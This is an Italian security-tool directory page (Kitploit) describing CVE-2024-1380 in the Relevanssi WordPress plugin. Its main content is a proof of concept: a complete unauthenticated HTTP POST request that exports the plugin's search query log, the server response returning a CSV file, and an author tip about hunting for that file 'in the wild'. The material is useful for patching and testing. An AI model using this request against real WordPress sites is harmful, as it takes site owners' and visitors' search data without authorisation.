Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-1380 — Relevanssi – Una Ricerca Migliore <= 4.22.0 - Mancanza di Autorizzazione all'Esportazione Non Autenticata del Log delle Query | Kitploit
Strumenti/GitHubGitHub/randomrobbiebf/cve-2024-1380
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebPenetration Testing
GitHubrandomrobbiebf/cve-2024-1380

CVE-2024-1380

Relevanssi – Una Ricerca Migliore <= 4.22.0 - Mancanza di Autorizzazione all'Esportazione Non Autenticata del Log delle Query

Vedi Repository
11 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-1380

Relevanssi – A Better Search <= 4.22.0 - Autorizzazione mancante per l'esportazione del registro delle query non autenticata

Descrizione

Il plugin Relevanssi – A Better Search per WordPress è vulnerabile all'accesso non autorizzato ai dati a causa di una mancanza di controllo delle capacità (capability check) nella funzione relevanssi_export_log_check() in tutte le versioni fino alla 4.22.0 inclusa. Ciò rende possibile per attaccanti non autenticati esportare i dati del registro delle query. Il venditore ha indicato che potrebbe aggiungere un controllo delle capacità per una corretta autorizzazione, tuttavia questa vulnerabilità è teoricamente già corretta così com'è.

Riferimenti

plugins.trac.wordpress.org

POC

Request

root@kitploit:~
POST /wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://kubernetes.docker.internal
Connection: keep-alive

tab=logging&relevanssi_omit_from_logs=&relevanssi_trim_logs=&relevanssi_export=Export+the+log+as+a+CSV+file

Response

root@kitploit:~
HTTP/1.1 200 OK
Date: Wed, 25 Sep 2024 14:46:13 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
Last-Modified: Wed, 25 Sep 2024 14:46:14 GMT
Content-Disposition: attachment;filename=relevanssi_log.csv
Content-Transfer-Encoding: binary
Content-Length: 29
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/download

"No search keywords logged."

Consiglierei di cercare il filename=relevanssi_log.csv se lo stai cercando in the wild, dato che non ho fatto nulla con il plugin.

Scarica lo strumento